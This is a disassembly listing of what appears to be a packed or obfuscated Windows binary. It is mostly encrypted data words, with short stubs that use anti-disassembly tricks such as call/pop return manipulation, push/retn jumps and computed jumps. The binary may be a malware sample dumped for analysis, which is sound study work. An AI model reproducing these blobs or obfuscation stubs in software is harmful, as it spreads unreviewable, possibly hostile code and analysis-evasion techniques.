38620BAAh, 6DC74949h dd 0F7B1CB28h, 6CB0C86Fh, 0D23C756h, 3F1AEB2Ah, 0A0B3D1F3h dd 0C53E7E33h, 0CCD6305Ch, 4A12AC3Eh, 780ADAA4h, 0C54BD1B0h dd 0E3C1384Fh, 0C2C2BF49h, 0A8286DC5h, 6DC5B9F9h, 45495B28h dd 7B15935Fh, 0E174C2D3h, 0AB394B9Bh, 35E1495Bh, 7CD85527h dd 46409CDEh, 3F07799Eh, 85904DA5h, 26097812h, 0EC3060C7h dd 92B824B6h, 49E34DE0h, 0E0319D2Fh, 69B5C76Ah, 6B79C55Bh dd 939E538Fh, 0C85E1832h, 0B008433Eh, 885427D7h, 71F32367h dd 0C58103E3h, 0E8FA4A32h, 0AB465C00h, 242679CBh, 0AA447BCBh dd 87000008h, 0CF690474h, 70DC512Bh, 0A7119CDEh, 0D440ED6Fh dd 22BA3B41h, 0F4809505h, 46C6DF79h, 92EA0DAFh, 0D99BB1E3h dd 3A773354h, 286DC67Ah, 4A02609Ah, 420ED6A0h, 0A23CCEA8h dd 5CC4AFEFh, 0F7436130h, 5A4B7EAh, 92128FF1h, 82305CC4h dd 6AFC9220h, 0B5AB5837h, 98643E37h, 73ABCDE9h, 0F088AF28h dd 0EC8EA02Ch, 94355B10h, 0B756FA66h, 0B75874Fh, 4241A93Bh dd 8C19F582h, 52FCh, 0D77AE200h, 0B3B0F0A1h, 42602873h dd 0B34644ACh, 3E7E33A0h, 0D6305CC5h, 0F5AC3ECCh, 37B5AAF6h dd 473E069Ch, 2873AA6Bh, 8F4CED11h, 8C19FB35h, 0F4BC52FAh dd 0BFC51963h, 53F9D529h, 31C7DD21h, 0ABA4F9h, 0B21A0000h dd 3B41D49Ch, 0FB4BD9EBh, 4A8301E9h, 420ED6A0h, 4571CDAFh dd 5D79C5B7h, 5130BDBFh, 305CC17Ah, 1598DA70h, 55E791BBh dd 0CD116389h, 52277BB7h, 0CBC650C7h, 37B5AEF8h, 96C9643Eh dd 77A0C9Bh, 2FC7D739h, 13BB4D57h, 60EC7EFEh, 5153B331h dd 95B81499h, 81224AE7h, 92A23C35h, 7843Dh, 0E292B900h dd 2F4DE153h, 7A042A86h, 0CB4959FBh, 116B8E2Ah, 4F2B0C9Ch dd 0F123D2AAh, 27911CA0h, 6BC56810h, 593EB7C1h, 0C554544Dh dd 8EBC286Dh, 0D5A74AD8h, 185EFC58h, 5CC52969h, 96BEEB30h dd 84608348h, 0A74EDC72h, 1A0B363h, 6FF98FEDh, 0C562B0D6h dd 12274603h, 8A1CD46Ah, 0B58AD817h, 18E4BE37h, 738A4D69h dd 6E0F3328h, 1A1B53ADh, 88938Ch, 78370000h, 40E775EDh dd 220E8004h, 82C64F6h, 82109272h, 790316A2h, 66E5FCA5h dd 7785305Ch, 2ECC6805h, 323DF04Ch, 4B9E13A5h, 0EB37B555h dd 0F66134B9h, 0C3DAD761h, 0F32FC77Fh, 9ABF27B1h, 4CE153E2h dd 29E18128h, 7DF13C34h, 6C04Ah, 1E5EFD00h, 6B112597h dd 0B6C86ECAh, 7859D3Fh, 4D2FC26Eh, 83EF48A0h, 35670E6Eh dd 7BD558DCh, 0AF09A4D4h, 1D42F38Dh, 0C3901081h, 4A80286Dh dd 0D5A74A14h, 1C5EFC58h, 0DC783191h, 0E6FC403Ah, 40A8D266h dd 41B3C654h, 0AB61D40Dh, 83FCBCF5h, 8E14305Ch, 3E9A6AF8h dd 0B4D3621Ch, 305C8418h, 0E49D0E29h, 305C83A4h, 0E5F4316Ch dd 2AB37859h, 3D740694h, 384F3F25h, 5B03950Fh, 822EC7B1h dd 0E27C0E68h, 40595948h, 0E9BB286Dh, 6D3FF8B8h, 0AE8A1828h dd 2BBCBF72h, 2CADE091h, 1F852FC6h, 39F5C692h, 7166FE3Ch dd 615h, 0FC710328h, 37BEBC50h, 64097385h, 0DB5AD8C8h dd 0DA0D479h, 1B3E9A9Fh, 3160CC61h, 819602B3h, 30DA76FFh dd 0DCC6AF46h, 6DC2E5A5h, 0AF1D2F28h, 0ED6A04Ah, 3446D470h dd 22028090h, 0CE6C48A0h, 7B098B9Ah, 710B2FABh, 73F121ADh dd 15B4D893h, 0D7769EE5h, 0A74BFF1Dh, 0C4E0A0D1h, 7230305Ch dd 0EC8200DCh, 0E000C041h, 0E7E8430h, 60000000h, 0D72FADE4h dd 51A765CDh, 1A8h, 3EDC78F1h, 43D4E03Ch, 0BE4FAB39h, 305CC522h dd 63235EE8h, 0AD305CC5h, 0CB663BF7h, 6CD7CA5Ch, 0AA384FC5h dd 54E66EF8h, 3298B2Ah, 5DD8AD71h, 4E4130CAh, 0E42FC6B3h dd 0CA1A9888h, 0FF8F2AB8h, 0C73C397Eh, 54F580Fh, 0C9620000h dd 86AA06AFh, 39DF79F4h, 1202AE47h, 9EB31D90h, 60D957DEh dd 169FDD70h, 44E96BBAh, 0B83547E8h, 0F17CFE1Ch, 1F9F128Ch dd 0F1286DC2h, 0ED78E5DBh, 0ECAA6CEFh, 0DEFA36F5h, 0D6E2423Ch dd 24A03A44h, 0D976FEDh, 0D2328925h, 0F532CB2Bh, 0A1BC5A43h dd 0C743CD61h, 0B9956936h, 0C5B74571h, 0A8E89933h, 68305C5Dh dd 56F3FE3Ah, 8431476Eh, 1E88h, 0DC78DA00h, 0E0FE46C4h dd 5CC4F1B1h, 0F3812330h, 0C5682859h, 0FAA8305Ch, 0CE813Eh dd 0B3210000h, 0BA537A0h, 0C5800071h, 1690305Ch, 5CC51B9Bh dd 19AFF530h, 0C5EA30D1h, 4A26384Fh, 0B547D5A7h, 9010811Bh dd 80286DC6h, 71C88B22h, 5ABEB8DDh, 62103A9Eh, 6E956F2Fh dd 8A07A128h, 286E950Ah, 740A980Ah, 0A82A7AE2h, 39D37D40h dd 7DD9E73Fh, 475DA1DBh, 0AC3B36EBh, 30C4801Ah, 0E8FA4Ah dd 6195DE41h, 49583430h, 0DB697BCBh, 5778541h, 4C2ECC68h dd 0A5323DF0h, 7EE39E13h, 0D1D327D8h, 272AE858h, 7B8B424h dd 431h, 0E08DEF0Ch, 5BDAA0B4h, 882557F9h, 0FF76F42Ch dd 31BCB85Dh, 0FF127EBBh, 4D44F07Dh, 658A26CFh, 1C3E9A1Bh dd 0F0AAD362h, 6DC10181h, 8BF91328h, 0F3B3EE78h, 1D305CC4h dd 4314AB87h, 0AE000001h, 0A537A0B3h, 0C516960Bh, 0A4FE305Ch dd 36C05A4Ch, 5CC53B7Bh, 57F9D530h, 35CBD925h, 0C6060CFDh dd 980A384Fh, 0CAB4460Eh, 1163892Bh, 6AFD78CDh, 99E374D0h dd 23BD5751h, 6DC72E6Eh, 74BCE628h, 60C7B295h, 0A8426030h dd 0DA6C0E2Ch, 81E6F443h, 539FF895h, 2E48E24Eh, 871003D6h dd 5AC1BCF5h, 0B4F127D8h, 34F74526h, 0E1881EFCh, 24276AA9h dd 7AC2F549h, 0B7000003h, 0FF59D4A4h, 208C215Bh, 57C16C0Eh dd 8430BD3Fh, 0F26A0B71h, 0C4B04535h, 16968F29h, 621A3D9Fh dd 0A9CB61D3h, 4A476304h, 286DC14Ah, 4AD2B0CAh, 4938D2A0h dd 305CC549h, 0E8A8D9CBh, 0E0305CC4h, 0CDD72F4Dh, 0F14DE3C1h dd 0DC7337C5h, 0AC42409Ch, 0D4759B50h, 0EE78FA10h, 55A9D366h dd 5CA0D479h, 7578B046h, 30DFF4CCh, 5C7284h, 0B3500000h dd 0BA537A0h, 5CC51696h, 4CA4FE30h, 78AD275Ah, 0A10337B2h dd 84047D17h, 8C287378h, 0CCDA16h, 0E496BAEEh, 62F48A18h dd 0A22A54FAh, 8C16EE88h, 1CD59A4h, 0A1A088ECh, 28737806h dd 0FD1256E4h, 0FF17A383h, 245DEF7Dh, 28737864h, 0CD60F6ACh dd 53B3CD63h, 2B07Ch, 0A54A8600h, 0AD4F0BDBh, 64F622D3h dd 6C8ECA1Ah, 0B3EE7812h, 305CC4F3h, 26AB871Dh, 0E577E073h dd 0B5ABCDACh, 4DDFC537h, 20086C81h, 0ABB9158Ch, 0A3AF2873h dd 0F4E7D9FAh, 46078C19h, 0A3000000h, 0EE01A0B3h, 9E2CB68Eh dd 46EA720Ch, 0CE0DFC34h, 0C437B5ABh, 0DC7806DEh, 0E5FF47C5h dd 0AB607C0Dh, 0F8042873h, 0FA408051h, 0EEBE8C19h, 20000000h dd 4F873A95h, 62426A3Bh, 6114F73Ch, 4BEC68FEh, 1BD7ED31h dd 0E0A04AA9h, 85AA32B0h, 0B992BFBh, 0EAAAE771h, 2A305CC4h dd 507CB078h, 6B67BFBDh, 2E92B0C1h, 0E79BF57Bh, 2BC18D51h dd 6DDA449h, 0E4305C72h, 2F892456h, 1593730Dh, 7286067Bh dd 148E305Ch, 811601DCh, 512BBAF7h, 9E0B37B5h, 0BBE4FA3Fh dd 58D56B27h dd 0EB7DEA05h, 0CACAC751h, 4A287311h, 1265255Ch, 0F5AF2873h dd 2BFA8B67h, 8B2FC73Ah, 32C78F19h, 933BAB4Ah, 9C26FE7Eh dd 99CD6054h, 0FC750B89h, 3C34E050h, 9ECFE07Ch, 93000001h dd 0DB75F878h, 0CA84537h, 0B31D90EAh, 0E04CE163h, 16862F4Dh dd 0E88CA111h, 3ABAEB45h, 86F619BBh, 0CDAF4DEFh, 2E633F20h dd 286DBF6Eh, 4A3694A6h, 0CE58D5A7h, 0C53D7D34h, 0CDD7305Ch dd 0DE9BB165h, 0B2A7D0F2h, 47EE7CCAh, 37A0B3C3h, 0AAEDECA5h dd 0C65F37B5h, 1938922Bh, 14940D5Eh, 0FC2873B1h, 34D810A6h dd 0D3EF966Eh, 952873B0h, 0AC28F480h, 0A32EF674h, 0EC24E089h dd 7E0C966Eh, 429F3EC2h, 8C19F482h, 8EFCh, 0A04AC600h dd 0AF420ED6h, 399071CDh, 31305CC1h, 35CF591Bh, 5CC13C7Ch dd 62CED430h, 5D1F3D9Fh, 0B621CC81h, 0A05E6D24h, 0A62E37B5h dd 5F03EF91h, 7AF5A845h, 30265BEDh, 7C2FC7CBh, 25C89426h dd 0DF72DE57h, 9592149Dh, 92A23C35h, 0C43Dh, 2252F900h dd 6F0D2193h, 0BAC46AC6h, 0B89993Bh, 512BCE6Ah, 8FEB4CDCh dd 3163126Ah, 67D15CE0h, 0AB05A8D0h, 197EF781h, 0BD94148Dh dd 4E7C286Dh, 0D5A74A18h, 1C5EFC58h, 0A6491591h, 4AA81AD6h dd 420ED6A0h, 0C27CEA8h, 0ADE476E1h, 384FC732h, 0FC5EE37Ah dd 7E91945Fh, 0E9413BDEh, 0B479F05h, 0B21E97E1h, 9F06DE98h dd 73F20957h, 0C71F5DF1h, 0CF17618Bh, 7E79204Ch, 6B0BFC0Eh dd 66E77503h, 53F92BD2h, 0E468B925h, 0D2E9F5B5h, 63B31FDCh dd 30BD53E1h, 38047684h, 0E0EF17AEh, 9D747726h, 0A63C0084h dd 0A4FCD810h, 0A7A9DE26h, 4A28C206h, 0D37F5757h, 55EBB9DCh dd 9CDE7CD8h, 36F40h, 54B70000h, 0D7A14AF6h, 0CFA9430Fh dd 0C4B45B77h, 0C7455C78h, 0BEBE537Fh, 0B5C76A66h, 0B7356D69h dd 0B3CD636Fh, 0A9D36753h, 0F5685E55h, 89000022h, 69682434h dd 8900000Ah, 89522414h, 4C281E2h, 83000000h, 148704EAh dd 34895C24h, 0FEFE6824h, 148B07EEh, 4C48124h, 83000000h dd 248904ECh, 24048124h, 4, 37C3685Eh, 14890000h, 8468F24h dd 5E2434FFh, 8B04C483h ; --------------------------------------------------------------------------- adc al, 24h push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp jmp loc_58B97E ; --------------------------------------------------------------------------- sub eax, 624516BDh mov eax, 7EF089Ch add eax, ebp jmp eax ; --------------------------------------------------------------------------- db 0EBh, 0D6h, 70h dd 0E0E7FD5Eh, 56FDED4Bh, 50987809h, 6FB61730h, 789D8322h dd 0F503E107h, 0F53E0239h, 47C63931h, 6AC08B02h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 1C042444h, 40000000h dd 0DABCC350h, 5F9C3FB2h, 0E997F28Ah, 9, 0CFDA9389h, 442B9A2Ch dd 0A5BD8399h, 7E918h, 0BD830975h, 7E91A45h, 50197400h dd 0B8C08B53h, 3FCh, 11F98589h, 9D8D07E9h, 7EBD7CEh, 585BD3FFh dd 1A45BD83h, 740007E9h, 0B8535017h, 3FCh, 11F98589h, 9D8D07E9h dd 7EBD4BDh, 585BD3FFh, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 1Ch, 8C35646h, 8D8F30A1h, 810C515Dh, 60DFB70Fh dd 0D2EE8166h, 61DD8A90h, 6AC08Bh, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 140424h, 53430000h, 0D58AACC3h, 1B69BD83h dd 0F0107E9h, 0A084h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1D04h, 0C3564600h, 60A15833h, 0D971B430h dd 3FB65305h, 1615BD83h, 0F0007E9h, 6C85h, 57006A00h, 3E8h dd 0C35F2000h, 247C895Fh, 24448104h, 1604h, 0C3574700h dd 0FB60ECBh, 688h, 0FCF38100h, 834981D4h, 0E92EB5BDh dd 840F0007h, 64h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 1Ah, 0A4C35242h, 0FE5D886Dh, 810F79D3h, 6 dd 0A9B5F381h, 66504D88h, 85F8F381h, 393E95Ah, 0B3B60000h dd 0 ; --------------------------------------------------------------------------- push 0 push ecx call sub_5E4883 and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5E4883 proc near ; CODE XREF: sdfs____:005E487Bp arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 15h inc ecx push ecx retn sub_5E4883 endp ; --------------------------------------------------------------------------- db 0D4h dd 939BB7Bh, 0D78B4221h, 0BA5B122Eh, 3A10A03Eh, 38F32A3Fh dd 0D7714B03h, 4B5555BBh, 67977E2h, 0B58B4E54h, 0B11CA747h dd 0B1754FF4h, 0EE56A7D1h, 0CDFFF82Bh, 0F5F7A350h, 0B16BA31Eh dd 0E631A71Dh, 0C9F14D4Dh, 4747D496h, 3AB37429h, 7E9C260Eh dd 0E44CD63Ch, 0B176A79Ch, 5CF7FA3Ah, 0B699AC2Eh, 5924A7E4h dd 0B176A744h, 0EBB5FD83h, 0B552F358h, 0B552E369h, 0B176A760h dd 0B5F578h, 46FDC17Dh, 63B426E8h, 0A10C605h, 0A1024CAh dd 71FDDFD5h, 5AA31CBEh, 212D8B89h, 864C7980h, 0BE27F717h dd 0B176A20Fh, 339A1C47h, 212DC7B7h, 5924A7BBh, 0B176A7EBh dd 0EBB5FD54h, 0B552F3B3h, 0B552E39Ch, 0B176A794h, 0AAB5F505h dd 9436A6A5h, 11C410C1h, 953AA6E7h, 0E076CD8Ah, 0B176A4D2h dd 722F871Dh, 953A2ED7h, 95322643h, 0B176BDA7h, 7227E6D1h dd 70137FA6h, 0E999D9EBh, 0BD73938Dh, 0DB76A71Fh, 0B29EF68Eh dd 9176A747h, 382F64FAh, 3072839Dh, 0A47283ACh, 0F076A774h dd 3A73646Bh, 0B1752012h, 62F6A78Eh, 0DB7E2CE3h, 0B29EF5A3h dd 9176A7D1h, 382C64B2h, 30728320h, 0A472837Eh, 0F376A71Dh dd 42C164DCh, 0B176ADAEh, 22B0B0A3h, 0EAF3CF8h, 0D79B2B63h dd 588AEFFFh, 0B176A731h, 5391960Fh, 2B9A5A36h, 9504A2Ch dd 0B176A7A2h, 5924A7BBh, 0B176A7EBh, 0EBB5FD54h, 0B552F3B3h dd 0B552E39Ch, 0B176A79Ah, 0BFB5F505h, 0B176A24Ah, 0FC3CA6D1h dd 67949BAh, 4DFCF7AFh, 0DB52ABB3h, 0B29EF61Dh, 9176A78Eh dd 382F641Eh, 307283EFh, 0AA728395h, 0F076A7E8h, 0BF756425h dd 62EDDCA4h, 0A59F14D9h, 776A78Eh, 56AAA956h, 0CE8A9584h dd 5E9378CEh, 0F632DE3Dh, 0D7583429h, 52F77EB6h, 0AD263331h dd 0BE726678h, 0B1764AC2h, 0E176CDA3h, 0B176A439h, 722E87E8h dd 95322E2Ch, 9532263Eh, 0B176B219h, 7226E78Eh, 0B49E7F8Bh dd 2D76A7A3h, 37C7F70Fh, 0B1F5A8B9h, 0EB76A774h, 63F6FE60h dd 0D94F27CCh, 0B06B2281h, 0B11CA747h, 0B1754FF1h, 0EB56A7D1h dd 0E5FFFD2Bh, 0F5F7A350h, 0B16FA31Eh, 0E334A71Dh, 1AF5A64Dh dd 3A3C60DAh, 0B11CA6DAh, 0B1754F84h, 0EC56A7E8h, 0DDFFFAB7h dd 0F5F7A31Eh, 0B162A339h, 0E433A78Eh, 33799684h, 0B176A7A1h dd 4EF7725Bh, 3176A7E8h, 0B1BF257Bh, 0B11CA73Ah, 0B1754F48h dd 0EC56A78Eh, 0DDFFFA84h, 0F5F7A387h, 0B161A3F5h, 0E433A7E8h dd 75EAF1B7h, 0B9FCA850h, 0BE76A71Dh, 0B176A503h, 76A52C47h dd 5E7C1D26h, 0B176A6D6h, 6BAC27E8h, 0B1761F9Dh, 58835B3Ah dd 0B176A79Eh, 0B17E4FD8h, 4FD5A747h, 7D1E37Ah, 31792218h dd 0B176A7E8h, 582FFD2Fh, 0B176A72Ah, 0E753F119h, 912271AAh dd 0CAB5E545h, 0A11141ADh, 0BA0F24B7h, 0FDF2A817h, 0DB76A774h dd 0B29EF13Ah, 9176A71Dh, 382864D0h, 30728333h, 0A57283E7h dd 0F776A7D1h, 0BE2C64BEh, 0B176A2F6h, 5BF7C13Ah, 66F6CA3Eh dd 0BF36072h, 0B071484Dh, 3176A7A3h, 0A19FEF17h, 0A976A7E8h dd 62BE350Ah, 4A15DAB9h, 0DDDF9C81h, 0F9B6675Ah, 5921A72Dh dd 0B176A7A0h, 0EEB5F8F1h, 0B552DB61h, 0B552E3F5h, 0B176A72Dh dd 96B5F05Ah, 0B8B6E50h, 80E17278h, 0B1752EACh, 679A7D1h dd 87041E39h, 34FBAE49h, 0B699B776h, 0BF111A90h, 494DA061h dd 0BE46A033h, 5A316E72h, 58501424h, 0B176A7F9h, 97B27FC3h dd 8C20AB8Ah, 9D84D622h, 0C18917C1h, 0E476CD63h, 0B176A44Bh dd 722B87D1h, 951A2EB5h, 95322670h, 0B176B13Eh, 7223E21Dh dd 58B7C42Dh, 0B176A749h, 8CE4621Fh, 518D2052h, 0D9E721B5h dd 0CF54AF1h, 0B69FBC53h, 0C9F2A81Ch, 0DB76A78Eh, 0B29EF447h dd 9176A7A3h, 382D648Ah, 307283B4h, 0AC728330h, 0F276A73Ah dd 2BE3644Eh, 0B9567D94h, 0EF7864A0h, 0B176B54Ah, 1E2294D1h dd 28671CDDh, 0C5643CF8h, 0DEF21FC9h, 322D8250h, 5860B233h dd 3479A740h, 0B176A78Ch, 5927A7BBh, 0B176A7EBh, 0E8B5FE54h dd 0B552EBB3h, 0B552E39Ch, 0B176A799h, 63B5F606h, 32C0EAC5h dd 5858126Ch, 3579A7EFh, 0B176A75Ch, 581E64BAh, 0B176A7DEh dd 5927A7E4h, 0B176A744h, 0E8B5FE83h, 0B552EB58h, 0B552E369h dd 0B176A76Ch, 16B5F67Bh, 0B745708Fh, 0AA1F1A0Dh, 0BE77A0AEh dd 0B176C126h, 0BE5E14D1h, 0DB2B7C57h, 0B29EF174h, 9176A73Ah dd 38286443h, 307283FAh, 0A9728303h, 0F776A7A3h, 90B46487h dd 313893F0h, 0DBB50587h, 0B29EF63Ah, 9176A71Dh, 382F64D7h dd 3072830Bh, 0A67283E7h, 0F076A7D1h, 0B0CD64B9h, 307993D7h dd 0B176A73Eh, 5DAC1C7Bh, 0B1769967h, 0B9FBA847h, 0BE76A7A3h dd 0B176A554h, 0ECB814E8h, 5924A71Eh, 0B176A739h, 0EBB5FD3Dh dd 0B552F307h, 0B552E3C6h, 0B176A7B8h, 8B5F593h, 2F6671E0h dd 0BEF99D31h, 0B176A3B7h, 11CCC11Dh, 3C8F6856h, 5E7C45FAh dd 0A8FB2AA4h, 97148C1h, 0CA4CFBF5h, 0BE4F2247h, 7E5DA0D3h dd 4987041Eh, 7634FBAEh, 90B699B7h, 61BF111Ah, 33494DA0h dd 72BE46A0h, 835A316Eh, 0A4F305E9h, 0ABABD83h, 740007EFh dd 5A8D8D0Dh, 0B807E94Dh, 1, 0F40E1FFh, 0BB66D6B7h, 6AD0F4h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h, 52420000h dd 205336C3h, 0A2994F8Bh, 0D2816650h, 835B6576h, 0BA662DE8h dd 0C08BFFBFh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 1Ah, 53C35242h, 785864B8h, 8B662C58h, 0A5BD83D3h, 7E918h dd 0BD830975h, 7E91A45h, 50197400h, 0B8C08B53h, 3FCh, 20F58589h dd 9D8D07E9h, 7EBD835h, 585BD3FFh, 1A45BD83h, 740007E9h dd 0B8535017h, 3FCh, 20F58589h, 9D8D07E9h, 7EBD4D6h, 585BD3FFh dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 0F6C35747h dd 98DCB955h, 0D08A281Bh, 8D8DC08Bh, 7EF123Bh, 11E9h, 52DD3D00h dd 8A0F85Eh, 8A979267h, 2826ACBAh, 0B8660A69h, 8D89B23Bh dd 7E9320Dh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 14h, 0F9C35646h, 6830Fh, 95330000h, 7E90E3Dh, 21519589h dd 85C707E9h, 7E922E5h, 6BACh, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 1Bh, 73C35646h, 0E1F08075h, 89CF2EF1h dd 0E907F1B5h, 14E907h, 0D1620000h, 0B1CBCBD5h, 0CB86D70Fh dd 2C9C3E22h, 93DA7FD1h, 896005FDh, 0E92189BDh, 0B1858907h dd 6107E92Ch, 22B185C7h, 7E9h, 6A0000h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 170424h, 51410000h, 7BDBBBC3h dd 45B5FF26h, 0F07E920h, 68Dh, 0C9BD8900h, 0FF07E921h dd 0E9228595h, 50006A07h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1704h, 0C3504000h, 3BE387BBh, 5E9h, 90D78900h dd 6A3D18h, 0C3195FFh, 0C08B07E9h, 0C1167DEBh, 0E51D28AAh dd 2FF8A325h, 7830F498h, 0D00504C0h, 0D398761h, 0DAF7AF26h dd 0F595621Bh, 3A79F363h, 0B8D2514Bh, 4ABDF9CDh, 0F8570F31h dd 23AEFCF3h, 0FF788505h, 0C1814748h, 2019DF63h, 91A5D951h dd 89813F8Dh, 0BD17D2F6h, 0AE039548h, 34B445D8h, 8ED4024Ah dd 815C9ADFh, 69950E08h, 8249BC1Dh, 0E1C8505Fh, 3FB1DB59h dd 0E7BBF3C5h, 7A36679Ch, 0BF7A1469h, 8E62EA22h, 0E8B44C9Dh dd 0Dh, 5A2A1807h, 5E9D0021h, 7B10B9D1h, 319D8B05h, 5807E926h dd 68F0Fh dd 85890000h, 7E91261h, 68E9C081h, 8E0F0000h, 16h, 11E9h dd 1D31A800h, 2DBE5474h, 168B59B1h, 0F311B58Bh, 0D22BF0C7h dd 0FFF8B70Fh, 0CE90234h, 0F5000000h, 628587FDh, 6C35964Fh dd 5EBDE8C0h, 0BBEE81F5h, 8137AA87h, 2ECDA7C9h, 2DF68179h dd 8171EFA7h, 6B8C2CF6h, 5BB9664Eh, 0B5895632h, 7E90729h dd 6610048Fh, 0B359F781h, 0C3D8D89h, 0EA8307E9h, 0DBD8901h dd 4A07E903h, 81F84A4Ah, 0FF97C0FAh, 0A0850FFFh, 89FFFFFFh dd 0E907858Dh, 9DE907h, 21860000h, 945ACDh, 50000h, 10000h dd 0A280000h, 20000h, 65530000h, 63697672h, 61502065h dd 32206B63h, 1Dh dup(0) dd 0E9000000h, 0BF0h, 0EF159168h, 67A4E907h, 0A168FFFAh dd 0E907EF16h, 0FFFA679Ah, 0EF17B068h, 6790E907h, 2568FFFAh dd 0E907EF18h, 0FFFA6786h, 0EF19A668h, 677CE907h, 0F568FFFAh dd 0E907EF19h, 0FFFA6772h, 0EF1DA068h, 6768E907h, 8968FFFAh dd 0E907EF1Eh, 0FFFA675Eh, 0C06D0F2Ch, 3BBAC054h, 68057799h dd 0DF56D4CCh, 119CD87Dh, 1F329E9Bh, 2D64D05Dh, 85AA06AFh dd 3CDE7AFBh, 0D0CAB342h, 6DB0E1A1h, 0AB193328h, 0DFD2A04Ah dd 305CC4DFh, 1DD7331h, 58D5A7B5h, 0EB7DEA05h, 0B5ABD7B6h dd 19E5BF37h, 73AC4C68h, 6D0C3028h, 19F554ACh, 0D97DD98Ch dd 6AEA3BA3h, 34538Eh, 8B530000h, 0BFC5199Bh, 0A0B35173h dd 0EDECA537h, 0A537B5AAh, 0C05626C9h, 0AA29857Ch, 33DF2873h dd 0DFD26C8Ah, 2873A9DFh, 4877331h, 8C19FABCh, 0D23Ah dd 0A04A8800h, 0D4700ED6h, 0F3AE3842h, 305CC4B3h, 0CFEB475Dh dd 0F4F2522Ah, 7CB4C668h, 7CC0B258h, 35B8BA50h, 5CBFF54Eh dd 195BF130h, 0FCBCF58Fh, 14305CC0h, 0FD5FA28Eh, 0CC11D5Fh dd 0ADE476E1h, 37B5AF1Ah, 0E19BBC18h, 59F6871Dh, 0ED046E71h dd 0BAED8016h, 80FA1EBFh, 1B2958F2h, 712FC6EEh, 0B884F005h dd 5A02942Ah, 0BE28C5B7h, 2A34E427h, 86F63777h, 32CBD920h dd 7C0E2804h, 87038505h, 0DD158F20h, 892054F9h, 3C34D17Bh dd 0D394CB1Bh, 0DB000009h, 3AD4030h, 0B4E08DEFh, 0FB55D8A2h dd 288429ABh, 6EFE7705h, 3044E9C9h, 820213BDh, 0CEAE41F3h dd 1567F527h, 0F6ABF798h, 286DAFB6h, 4A7E2C5Eh, 0FC58D5A7h dd 0C28A1C5Eh, 0F78D51D3h, 0B30CB63Bh, 619A33A0h, 571BB648h dd 1E3A7A2Fh, 0C8DA305Ch, 9B16A03Ah, 305C1E1Bh, 6543AFF5h dd 0B504AD2Ch, 67BFE537h, 0BD0FCC59h, 490D3908h, 0DDC4E0E1h dd 94B82872h, 0C6DC24F5h, 0EA1A8C1Ah, 0A8000000h, 0F3B3EE78h dd 1D305CC4h, 4933C787h, 552735E1h, 7A28CD89h, 445EA6D0h dd 95B824B6h, 0AD851FE7h, 0BFB79071h, 99B3305Ch, 3AE655D8h dd 9B162A00h, 305CC51Bh, 8B19AFF5h, 0D2AC4EEAh, 2CBCBF72h dd 3C5773C6h, 0E476D68Dh, 0AA384A9Ah, 564E6110h, 841E37B5h dd 73568D0Dh, 0D51D8728h, 6CFA7B29h, 0D62E4CE0h, 0AE4964CCh dd 9BF2AF39h, 0E12FC780h, 815A5A57h, 0E8BA2087h, 0B4465C00h dd 0FE770528h, 34BDBF52h, 3C3457DEh, 0C37166FEh, 0EB000008h dd 13BD3040h, 44F07DFFh, 8B25C8B2h, 3894199Bh, 5ECE6715h dd 2054F9D9h, 72F2238Dh, 0BEBE51C3h, 5778537h, 0E69B0768h dd 286DAEA6h, 4A6E5C6Eh, 9B43D5A7h, 0AF35098Bh, 651BB01Eh dd 19D19FC3h, 0AD420A94h, 0B97173D3h, 0F07DFF1Dh, 6FCDDF76h dd 0D90339D0h, 549CD87Dh, 0D6A04A76h, 0CEA8420Eh, 0FA1FC727h dd 78FBB682h, 1BC35DEFh, 0DDAC84F4h, 384FB089h, 0D66FF9ABh dd 3DF6D061h, 0C3250DBCh, 65879C29h, 0AAFD6890h, 0B6C06A4Eh dd 6ED8483Fh, 0D469286Dh, 1BA9CB61h, 50400C9Ah, 0C7C766D2h dd 25B72033h, 0C64A796Ch, 0D16B392Fh, 395E775h, 844A0E8Eh dd 549C0620h, 51F69120h, 628D93BDh, 3CC963F5h, 8456C9C1h dd 0AB5A96F5h, 9414ACE0h, 0CBB55A36h, 0BDB697Bh, 393BD17Dh dd 5E13DFE5h, 0FFB244D3h, 8C270C86h, 64E07A28h, 0B1F1A0D6h dd 637CE60Ch, 0BAFAB741h, 5A7CE60Ch, 993BBA48h, 84680173h dd 88097ABh, 7B48334h, 51FA0000h, 0E228E27h, 0C157C16Ch dd 8A9A36BFh, 26CB6508h, 0E841DF56h, 9E176588h, 0CC61E332h dd 0ADCF60h, 79F48694h, 97178A14h, 79286DADh, 0A0B31D43h dd 720BA537h, 2343884Eh, 4C52D8Ah, 384F5D30h, 713160FAh dd 0A3286D5Eh, 5F452901h, 8FED01CDh, 6E2E63FDh, 6E286D5Eh dd 576DB1CBh, 8D653Fh, 2AFA8094h, 47F28CAEh, 340E74AFh dd 3F883F37h, 6F000007h, 9701ACCCh, 0D874F983h, 0FA94436h dd 0BC189517h, 0DA52E399h, 9CD87D5Dh, 0EE6EA711h, 3A42D547h dd 81F319BBh, 621F8BECh, 286DAD22h, 0B3EAD8F2h, 0ECA537A0h dd 384FB058h, 9430CAD8h, 2679F486h, 75009A11h, 29C4E3F1h dd 285D3E0Ah, 0CC5928BDh, 0D01E5CE9h, 4C8B42FFh, 0DD6802E4h dd 8986EF93h, 0B051991Fh, 286CE9E4h, 0CAAC402Ch, 6CE9D7D7h dd 0D56B3928h, 0E9C2071h, 201DA836h, 0CE50F51Ch, 0DCF79662h dd 8E286D1Ch, 0C7455CF8h, 618D657Fh, 0DA73EB8h, 57890019h dd 0A262A189h, 978C2000h, 8D512BCFh, 5BE63BF7h, 0FC000000h dd 9B2DBAB3h, 